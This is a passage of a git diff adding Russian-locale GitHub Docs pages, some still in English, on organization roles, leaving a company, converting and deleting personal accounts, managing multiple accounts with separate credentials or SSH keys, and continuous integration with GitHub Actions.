+ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '146179634' +--- +## Просмотр ролей организации + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Вы увидите список пользователей в вашей организации. Чтобы отфильтровать список по определенной роли, щелкните **Роль** и выберите нужную роль. + ![click-role](/assets/images/help/organizations/view-list-of-people-in-org-by-role.png) + +{% ifversion fpt %} + +Если в вашей организации используется {% data variables.product.prodname_ghe_cloud %}, вы также можете просматривать список владельцев предприятия, управляющих параметрами выставления счетов и политиками для всех организаций вашего предприятия. Дополнительные сведения см. в [документации по {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization#view-enterprise-owners-and-their-roles-in-an-organization). + +{% endif %} + +{% ifversion enterprise-owners-visible-for-org-members %} +## Просмотр владельцев предприятия и их ролей в организации + +Если ваша организация управляется корпоративной учетной записью, вы можете просматривать список владельцев предприятия, управляющих параметрами выставления счетов и политиками для всех организаций вашего предприятия. Дополнительные сведения о корпоративных учетных записях см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). + +Вы также можете проверить, имеет ли владелец предприятия определенную роль в организации. Владельцы предприятия могут быть также участниками организации, выполнять другую роль в организации или не иметь никакой связи с организацией. + +{% note %} + +**Примечание.** Если вы являетесь владельцем организации, вы также можете предложить владельцу предприятия ту или иную роль в организации. Если владелец предприятия примет приглашение, будет использоваться место или лицензия в организации из числа лицензий, доступных для вашего предприятия. Дополнительные сведения о том, как работает лицензирование, см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). + +{% endnote %} + +| **Роль в предприятии** | **Роль в организации** | **Доступ или влияние организации** | +|----|----|----|----| +| Владелец предприятия | Нет связи или официальной роли в организации | Не имеет доступа к содержимому или репозиториям организации, но управляет корпоративными параметрами и политиками, влияющими на вашу организацию. | +| Владелец предприятия | Владелец организации | Может настраивать параметры организации и управлять доступом к ресурсам организации с помощью команд и т. д. | +| Владелец предприятия | Участник организации | Имеет доступ к ресурсам и содержимому организации, включая репозитории, но не к параметрам организации. | + +Инструкции по просмотру всех ролей в организации см. в разделе [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). {% ifversion custom-repository-roles %} Участник организации также может иметь настраиваемую роль в определенном репозитории. Дополнительные сведения см. в разделе [Управление настраиваемыми ролями репозитория для организации](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} + +Дополнительные сведения о роли владельца организации см. в разделе [Роли в организации](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner). + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. На левой боковой панели в разделе "Корпоративные разрешения" щелкните **Владельцы предприятия**. + ![Снимок экрана: параметр "Владельцы предприятия" в боковом меню](/assets/images/help/organizations/enterprise-owners-sidebar.png) +5. Просмотрите список владельцев вашего предприятия. Если владелец предприятия также является участником вашей организации, вы сможете увидеть его роль в организации. + + ![Снимок экрана: список владельцев предприятия и их роли в организации](/assets/images/help/organizations/enterprise-owners-list-on-org-page.png) + +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md new file mode 100644 index 000000000000..aedaff2bc8f8 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/best-practices-for-leaving-your-company.md @@ -0,0 +1,43 @@ +--- +title: Best practices for leaving your company +intro: 'If you use your account on {% data variables.product.product_name %} for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization.' +redirect_from: + - /articles/best-practices-for-leaving-your-company + - /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company + - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/best-practices-for-leaving-your-company +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Leaving your company +--- + +Before you leave your company, make sure you update the following information in your personal account: + +- Unverify your company email address by [deleting it in your Email settings](/articles/changing-your-primary-email-address). You can then re-add it without verifying to keep any associated commits linked to your account. +- [Change your primary email address](/articles/changing-your-primary-email-address) from your company email to your personal email. +- [Verify your new primary email address](/articles/verifying-your-email-address). +- [Change your GitHub username](/articles/changing-your-github-username) to remove any references to your company or organization, if necessary. +- If you've enabled two-factor (2FA) authentication for your personal account, make sure that you (not your company) control the 2FA authentication method you have configured. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication)." + +## Leaving organizations + +If you've been working with repositories that belong to an organization, you'll want to [remove yourself as a member of the organization](/articles/removing-yourself-from-an-organization). Note that if you are the organization owner, you should first [transfer ownership of the organization](/articles/transferring-organization-ownership) to another person. + +Unless you're using a {% data variables.enterprise.prodname_managed_user %}, you'll still be able to access your personal account, even after leaving the organization. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}]({% ifversion not ghec%}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} + +## Removing professional associations with personal repositories + +If you've been collaborating professionally with another person on repositories that belong to their personal account, you'll want to [remove yourself as a collaborator](/articles/removing-yourself-from-a-collaborator-s-repository) from those repositories. + +- [Stop watching repositories](https://github.com/watching) related to your work. You won't want those notifications anymore! +- [Transfer repositories you own](/articles/how-to-transfer-a-repository) that others may need to continue working on after you leave. +- [Delete forks that belong to you](/articles/deleting-a-repository) that are related to the work you were doing. Don't worry, deleting a fork doesn't delete the upstream repository. +- Delete local copies of your forks that may exist on your computer: + +```shell +$ rm -rf WORK_DIRECTORY +``` diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md new file mode 100644 index 000000000000..ddfab588a905 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/converting-a-user-into-an-organization.md @@ -0,0 +1,74 @@ +--- +title: Converting a user into an organization +redirect_from: + - /articles/what-is-the-difference-between-create-new-organization-and-turn-account-into-an-organization + - /articles/explaining-the-account-transformation-warning + - /articles/converting-a-user-into-an-organization + - /github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/converting-a-user-into-an-organization + - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/converting-a-user-into-an-organization +intro: You can convert your personal account into an organization. This allows more granular permissions for repositories that belong to the organization. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: User into an organization +--- +{% warning %} + +**Warning**: Before converting a user into an organization, keep these points in mind. + +* You will **no longer** be able to sign into the converted personal account. +* You will **no longer** be able to create or modify gists owned by the converted personal account. +* An organization **cannot** be converted back to a user. +* The SSH keys, OAuth tokens, job profile, reactions, and associated user information, **will not** be transferred to the organization. This is only true for the personal account that's being converted, not any of the personal account's collaborators. +* Any {% data variables.product.prodname_github_apps %} installed on the converted personal account will be uninstalled. +* Any commits made with the converted personal account **will no longer be linked** to that account. The commits themselves **will** remain intact. +* Any existing comments made by the converted personal account **will no longer be linked** to that account. The comments themselves **will** remain intact, but will be associated with the `ghost` user. +* Any forks of private repositories made with the converted personal account will be deleted. +{% endwarning %} + +{% ifversion fpt or ghec or ghes %} +## Keep your personal account and create a new organization manually + +If you want your organization to have the same name that you are currently using for your personal account, or if you want to keep your personal account's information intact, then you must create a new organization and transfer your repositories to it instead of converting your personal account into an organization. + +1. To retain your current personal account name for your personal use, [change the name of your personal account](/articles/changing-your-github-username) to something new and wonderful. +2. [Create a new organization](/articles/creating-a-new-organization-from-scratch) with the original name of your personal account. +3. [Transfer your repositories](/articles/transferring-a-repository) to your new organization account.{% endif %} + +## Convert your personal account into an organization automatically + +You can also convert your personal account directly into an organization. Converting your account: + - Preserves the repositories as they are without the need to transfer them to another account manually + - Automatically invites collaborators to teams with permissions equivalent to what they had before + {% ifversion fpt or ghec %}- For personal accounts on {% data variables.product.prodname_pro %}, automatically transitions billing to [the paid {% data variables.product.prodname_team %}](/articles/about-billing-for-github-accounts) without the need to re-enter payment information, adjust your billing cycle, or double pay at any time{% endif %} + +1. Create a new personal account, which you'll use to sign into GitHub and access the organization and your repositories after you convert. +2. [Leave any organizations](/articles/removing-yourself-from-an-organization) the personal account you're converting has joined. +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.organizations %} +5. Under "Transform account", click **Turn into an organization**. + ![Organization conversion button](/assets/images/help/settings/convert-to-organization.png) +6. In the Account Transformation Warning dialog box, review and confirm the conversion. Note that the information in this box is the same as the warning at the top of this article. + ![Conversion warning](/assets/images/help/organizations/organization-account-transformation-warning.png) +7. On the "Transform your user into an organization" page, under "Choose an organization owner", choose either the secondary personal account you created in the previous section or another user you trust to manage the organization. + ![Add organization owner page](/assets/images/help/organizations/organization-add-owner.png) +8. Choose your new organization's subscription and enter your billing information if prompted. +9. Click **Create Organization**. +10. Sign in to the new personal account you created in step one, then use the context switcher to access your new organization. + +{% tip %} + +**Tip**: When you convert a personal account into an organization, we'll add collaborators on repositories that belong to the account to the new organization as *outside collaborators*. You can then invite *outside collaborators* to become members of your new organization if you wish. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)." + +{% endtip %} + +## Further reading +- "[Setting up teams](/articles/setting-up-teams)" +{% ifversion fpt or ghec %}- "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)"{% endif %} +- "[Accessing an organization](/articles/accessing-an-organization)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md new file mode 100644 index 000000000000..58818ffd1111 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/deleting-your-personal-account.md @@ -0,0 +1,67 @@ +--- +title: Deleting your personal account +intro: 'You can delete your personal account on {% data variables.location.product_location %} at any time.' +redirect_from: + - /articles/deleting-a-user-account + - /articles/deleting-your-user-account + - /github/setting-up-and-managing-your-github-user-account/deleting-your-user-account + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/deleting-your-user-account + - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Delete your account +--- + +## About deletion of your personal account + +Deleting your personal account removes all repositories, forks of private repositories, wikis, issues, pull requests, and pages owned by your account. {% ifversion fpt or ghec %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted. Your resources and comments will become associated with the [ghost user](https://github.com/ghost).{% else %}Issues and pull requests you've created and comments you've made in repositories owned by other users will not be deleted.{% endif %} + +{% ifversion ghec %} + +{% note %} + +**Note**: If your enterprise manages your account and you sign into {% data variables.location.product_location %} through your company's identity provider (IdP), you cannot delete your account. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)." + +{% endnote %} + +{% endif %} + +{% ifversion fpt or ghec %}When you delete your account we stop billing you. The email address associated with the account becomes available for use with a different account on {% data variables.location.product_location %}. After 90 days, the account name also becomes available to anyone else to use on a new account. {% endif %} + +If you're the only owner of an organization, you must transfer ownership to another person or delete the organization before you can delete your personal account. If there are other owners in the organization, you must remove yourself from the organization before you can delete your personal account. + +For more information, see the following articles. + +- "[Transferring organization ownership](/articles/transferring-organization-ownership)" +- "[Deleting an organization account](/articles/deleting-an-organization-account)" +- "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)" + +## Back up your account data + +Before you delete your personal account, make a copy of all repositories, private forks, wikis, issues, and pull requests owned by your account. For more information, see "[Backing up a repository](/repositories/archiving-a-github-repository/backing-up-a-repository)." + +{% warning %} + +**Warning:** Once your personal account has been deleted, {% ifversion fpt or ghec %}{% data variables.product.company_short %}{% elsif ghes or ghae %}an enterprise owner{% endif %} cannot restore your content. + +{% endwarning %} + +## Delete your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.account_settings %} +3. At the bottom of the Account Settings page, under "Delete account", click **Delete your account**. Before you can delete your personal account: + - If you're the only owner in the organization, you must transfer ownership to another person or delete your organization. + - If there are other organization owners in the organization, you must remove yourself from the organization. + ![Account deletion button](/assets/images/help/settings/settings-account-delete.png) +4. In the "Make sure you want to do this" dialog box, complete the steps to confirm you understand what happens when your account is deleted: + ![Delete account confirmation dialog](/assets/images/help/settings/settings-account-deleteconfirm.png) + {% ifversion fpt or ghec %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and {% data variables.product.prodname_pages %} sites owned by your account will be deleted and your billing will end immediately, and your username will be available to anyone for use on {% data variables.product.product_name %} after 90 days. + {% else %}- Recall that all repositories, forks of private repositories, wikis, issues, pull requests and pages owned by your account will be deleted, and your username will be available for use on {% data variables.product.product_name %}. + {% endif %}- In the first field, type your {% data variables.product.product_name %} username or email. + - In the second field, type the phrase from the prompt. diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md new file mode 100644 index 000000000000..6b1e5ab64316 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/index.md @@ -0,0 +1,19 @@ +--- +title: Managing your personal account +intro: 'You can manage your personal account on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. For example, you can {% ifversion fpt or ghec %}manage multiple accounts, {% endif %}convert an account to an organization{% ifversion fpt or ghec or ghes %}, or delete an account{% endif %}.' +shortTitle: Manage personal account +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +children: + - /managing-multiple-accounts + - /merging-multiple-personal-accounts + - /converting-a-user-into-an-organization + - /best-practices-for-leaving-your-company + - /deleting-your-personal-account +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md new file mode 100644 index 000000000000..ac0abba21c30 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts.md @@ -0,0 +1,105 @@ +--- +title: Managing multiple accounts +intro: 'If you use one workstation to contribute to projects for more than one account on {% data variables.location.product_location %}, you can modify your Git configuration to simplify the contribution process.' +versions: + feature: multiple-accounts-one-workstation +topics: + - Accounts + - Git + - GitHub +shortTitle: Manage multiple accounts +--- + +## About management of multiple accounts + +In some cases, you may need to use multiple accounts on {% data variables.location.product_location %}. For example, you may have a personal account for open source contributions, and your employer may also create and manage a user account for you within an enterprise. + +You cannot use your {% data variables.enterprise.prodname_managed_user %} to contribute to public projects on {% data variables.location.product_location %}, so you must contribute to those resources using your personal account. For more information, see "[About {% data variables.product.prodname_emus %}]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-user-accounts){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %} + +If you want to use one workstation to contribute from both accounts, you can simplify contribution with Git by using a mixture of protocols to access repository data, or by using credentials on a per-repository basis. + +{% warning %} + +**Warning**: Be mindful when you use one workstation to contribute to two separate accounts. Management of two or more accounts can increase the chance of mistakenly leaking internal code to the public. + +{% endwarning %} + +If you aren't required to use a {% data variables.enterprise.prodname_managed_user %}, {% data variables.product.company_short %} recommends that you use one personal account for all your work on {% data variables.location.product_location %}. With a single personal account, you can contribute to a combination of personal, open source, or professional projects using one identity. Other people can invite the account to contribute to both individual repositories and repositories owned by an organization, and the account can be a member of multiple organizations or enterprises. + +## Contributing to two accounts using HTTPS and SSH + +If you contribute with two accounts from one workstation, you can access repositories by using a different protocol and credentials for each account. + +Git can use either the HTTPS or SSH protocol to access and update data in repositories on {% data variables.location.product_location %}. The protocol you use to clone a repository determines which credentials your workstation will use to authenticate when you access the repository. With this approach to account management, you store the credentials for one account to use for HTTPS connections and upload an SSH key to the other account to use for SSH connections. + +You can find both the HTTPS or an SSH URLs for cloning a repository on {% data variables.product.product_name %}. For more information, see "[Cloning a repository](/repositories/creating-and-managing-repositories/cloning-a-repository)." + +For more information about the use of SSH to access repositories on {% data variables.product.product_name %}, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/authentication/connecting-to-github-with-ssh)." + +## Contributing to multiple accounts using HTTPS and {% data variables.product.pat_generic %}s + +Alternatively, if you want to use the HTTPS protocol for both accounts, you can use different {% data variables.product.pat_generic %}s for each account by configuring Git to store different credentials for each repository. + +{% mac %} + +{% data reusables.git.open-terminal %} +{% data reusables.git.confirm-credential-manager %} +{% data reusables.git.clear-the-stored-credentials %} + {% data reusables.git.no-credential-manager %} + - If the output is `osxkeychain`, you're using the macOS keychain. To clear the credentials, enter the following command. + + ```shell{:copy} + git credential-osxkeychain erase https://github.com + ``` + {% data reusables.git.clear-stored-gcm-credentials %} +{% data reusables.git.cache-on-repository-path %} +{% data reusables.accounts.create-personal-access-tokens %} +{% data reusables.git.provide-credentials %} + +{% endmac %} + +{% windows %} + +1. Open Git Bash. +{% data reusables.git.confirm-credential-manager %} +{% data reusables.git.clear-the-stored-credentials %} + {% data reusables.git.no-credential-manager %} + {% data reusables.git.clear-stored-gcm-credentials %} + - If the output is `wincred`, you're using the Windows Credential Manager. To clear the credentials, enter the following command. + + ```shell{:copy} + cmdkey /delete:LegacyGeneric:target=git:https://github.com + ``` +{% data reusables.git.cache-on-repository-path %} +{% data reusables.accounts.create-personal-access-tokens %} +{% data reusables.git.provide-credentials %} + +{% endwindows %} + +{% linux %} + +{% data reusables.git.open-terminal %} +{% data reusables.git.confirm-credential-manager %} +{% data reusables.git.clear-the-stored-credentials %} + {% data reusables.git.no-credential-manager %} + {% data reusables.git.clear-stored-gcm-credentials %} +{% data reusables.git.cache-on-repository-path %} +{% data reusables.accounts.create-personal-access-tokens %} +{% data reusables.git.provide-credentials %} + +{% endlinux %} + +## Contributing to multiple accounts using SSH and `GIT_SSH_COMMAND` + +If you want to use the SSH protocol for both accounts, you can use different SSH keys for each account. For more information about using SSH, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/authentication/connecting-to-github-with-ssh)." + +To use a different SSH key for different repositories that you clone to your workstation, you must write a shell wrapper function for Git operations. The function should perform the following steps. +1. Determine the repository's full name with owner, using a command such as `git config --get remote.origin.url`. +2. Choose the correct SSH key for authentication. +3. Modify `GIT_SSH_COMMAND` accordingly. For more information about `GIT_SSH_COMMAND`, see [Environment Variables](https://git-scm.com/docs/git#Documentation/git.txt-codeGITSSHCOMMANDcode) in the Git documentation. + +For example, the following command sets the `GIT_SSH_COMMAND` environment variable to specify an SSH command that uses the private key file at **_PATH/TO/KEY/FILE_** for authentication to clone the repository named **_OWNER_**/**_REPOSITORY_** on {% data variables.location.product_location %}. + +
+GIT_SSH_COMMAND='ssh -i PATH/TO/KEY/FILE -o IdentitiesOnly=yes' git clone git@github.com:OWNER/REPOSITORY
+
diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md new file mode 100644 index 000000000000..7781768e541d --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts.md @@ -0,0 +1,54 @@ +--- +title: Объединение нескольких личных учетных записей +intro: 'Если у вас есть отдельные учетные записи для работы и личного использования, их можно объединить.' +redirect_from: + - /articles/can-i-merge-two-accounts + - /articles/keeping-work-and-personal-repositories-separate + - /articles/merging-multiple-user-accounts + - /github/setting-up-and-managing-your-github-user-account/merging-multiple-user-accounts + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/merging-multiple-user-accounts + - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/merging-multiple-personal-accounts +versions: + fpt: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Merge multiple accounts +ms.openlocfilehash: 39198c8fdd0078321774eac4180f84a2b039d25e +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147687242' +--- +{% tip %} + +{% ifversion ghec %} + +**Совет.** {% data variables.product.prodname_emus %} позволяет организации подготавливать уникальные личные учетные записи для своих членов с помощью поставщика удостоверений (IdP). Дополнительные сведения см. в разделе [Сведения о пользователях, управляемых предприятием](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users). Для других вариантов использования рекомендуется применять только одну личную учетную запись для управления и личными, и профессиональными репозиториями. + +{% else %} + +**Совет.** Рекомендуется использовать только одну личную учетную запись для управления и личными, и профессиональными репозиториями. + +{% endif %} + +{% endtip %} + +{% warning %} + +**Внимание!** +- Разрешения на доступ к организации и репозиторию не переносятся между учетными записями. Если у удаляемой учетной записи есть существующее разрешение на доступ, владельцу организации или администратору репозитория потребуется пригласить учетную запись, которую вы хотите сохранить. +- Любые фиксации, созданные с помощью предоставленного GitHub адреса электронной почты `noreply`, нельзя передать из одной учетной записи в другую. Если учетная запись, которую вы хотите удалить, использовала параметр **Хранить мой адрес электронной почты в секрете**, будет невозможно перенести фиксации, созданные удаляемой учетной записью, в ту, которую вы хотите сохранить. + +{% endwarning %} + +1. [Перенесите все репозитории](/articles/how-to-transfer-a-repository) из учетной записи, которую вы хотите удалить, в ту, которую хотите сохранить. Также передаются проблемы, запросы на вытягивание и вики-сайты. Убедитесь, что репозитории существуют в учетной записи, которую вы хотите сохранить. +2. [Обновите удаленные URL-адреса](/github/getting-started-with-github/managing-remote-repositories) во всех локальных клонах перемещенных репозиториев. +3. [Удалите учетную запись](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/deleting-your-personal-account), которую вы больше не хотите использовать. +4. Чтобы добавить прошлые фиксации в новую учетную запись, добавьте адрес электронной почты, используемый для создания фиксаций, в сохраняемую учетную запись. Дополнительные сведения см. в разделе [Почему мои вклады не отображаются в моем профиле?](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile#your-local-git-commit-email-isnt-connected-to-your-account) + +## Дополнительные материалы + +- [Типы учетных записей {% data variables.product.prodname_dotcom %}](/articles/types-of-github-accounts) diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/about-continuous-integration.md b/translations/ru-RU/content/actions/automating-builds-and-tests/about-continuous-integration.md new file mode 100644 index 000000000000..eed83fb6ffac --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/about-continuous-integration.md @@ -0,0 +1,60 @@ +--- +title: About continuous integration +intro: 'You can create custom continuous integration (CI) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.' +redirect_from: + - /articles/about-continuous-integration + - /github/automating-your-workflow-with-github-actions/about-continuous-integration + - /actions/automating-your-workflow-with-github-actions/about-continuous-integration + - /actions/building-and-testing-code-with-continuous-integration/about-continuous-integration + - /actions/guides/about-continuous-integration +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - CI +shortTitle: Continuous integration +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About continuous integration + +Continuous integration (CI) is a software practice that requires frequently committing code to a shared repository. Committing code more often detects errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. + +When you commit code to your repository, you can continuously build and test the code to make sure that the commit doesn't introduce errors. Your tests can include code linters (which check style formatting), security checks, code coverage, functional tests, and other custom checks. + +Building and testing your code requires a server. You can build and test updates locally before pushing code to a repository, or you can use a CI server that checks for new code commits in a repository. + +## About continuous integration using {% data variables.product.prodname_actions %} + +{% ifversion ghae %}CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on runner systems that you host. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." +{% else %} CI using {% data variables.product.prodname_actions %} offers workflows that can build the code in your repository and run your tests. Workflows can run on {% data variables.product.prodname_dotcom %}-hosted virtual machines, or on machines that you host yourself. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/automating-your-workflow-with-github-actions/about-self-hosted-runners)." +{% endif %} + +You can configure your CI workflow to run when a {% data variables.product.prodname_dotcom %} event occurs (for example, when new code is pushed to your repository), on a set schedule, or when an external event occurs using the repository dispatch webhook. + +{% data variables.product.product_name %} runs your CI tests and provides the results of each test in the pull request, so you can see whether the change in your branch introduces an error. When all CI tests in a workflow pass, the changes you pushed are ready to be reviewed by a team member or merged. When a test fails, one of your changes may have caused the failure. + +When you set up CI in your repository, {% data variables.product.product_name %} analyzes the code in your repository and recommends CI workflows based on the language and framework in your repository. For example, if you use [Node.js](https://nodejs.org/en/), {% data variables.product.product_name %} will suggest a starter workflow that installs your Node.js packages and runs your tests. You can use the CI starter workflow suggested by {% data variables.product.product_name %}, customize the suggested starter workflow, or create your own custom workflow file to run your CI tests. + +![Screenshot of suggested continuous integration starter workflows](/assets/images/help/repository/ci-with-actions-template-picker.png) + +In addition to helping you set up CI workflows for your project, you can use {% data variables.product.prodname_actions %} to create workflows across the full software development life cycle. For example, you can use actions to deploy, package, or release your project. For more information, see "[About {% data variables.product.prodname_actions %}](/articles/about-github-actions)." + +For a definition of common terms, see "[Core concepts for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/core-concepts-for-github-actions)." + +## Starter workflow + +{% data variables.product.product_name %} offers CI starter workflow for a variety of languages and frameworks. + +Browse the complete list of CI starter workflow offered by {% data variables.product.company_short %} in the {% ifversion fpt or ghec %}[actions/starter-workflows](https://github.com/actions/starter-workflows/tree/main/ci) repository{% else %} `actions/starter-workflows` repository on {% data variables.location.product_location %}{% endif %}. + +## Further reading + +{% ifversion fpt or ghec %} +- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)" +{% endif %} diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-go.md b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-go.md new file mode 100644 index 000000000000..3061e28d6a38 --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/building-and-testing-go.md @@ -0,0 +1,219 @@ +--- +title: Создание и тестирование для Go +intro: Вы можете создать рабочий процесс непрерывной интеграции для сборки и тестирования проекта Go. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CI +shortTitle: Build & test Go +ms.openlocfilehash: 590edc2af0b7f370e52b449f320bdc2a758450bc +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160858' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Введение + +В этом руководстве описано, как создать, протестировать и опубликовать пакет Go. + +{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} Размещенные в {% data variables.product.prodname_dotcom %} средства выполнения имеют кэш инструментов с предварительно установленным программным обеспечением, включающим в себя зависимости для Go. Полный список актуального программного обеспечения и предварительно установленных версий Go см. в разделе [Сведения о программном обеспечении, установленном в средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software). +{% endif %} + +## Предварительные требования + +Вы уже должны быть знакомы с синтаксисом YAML и 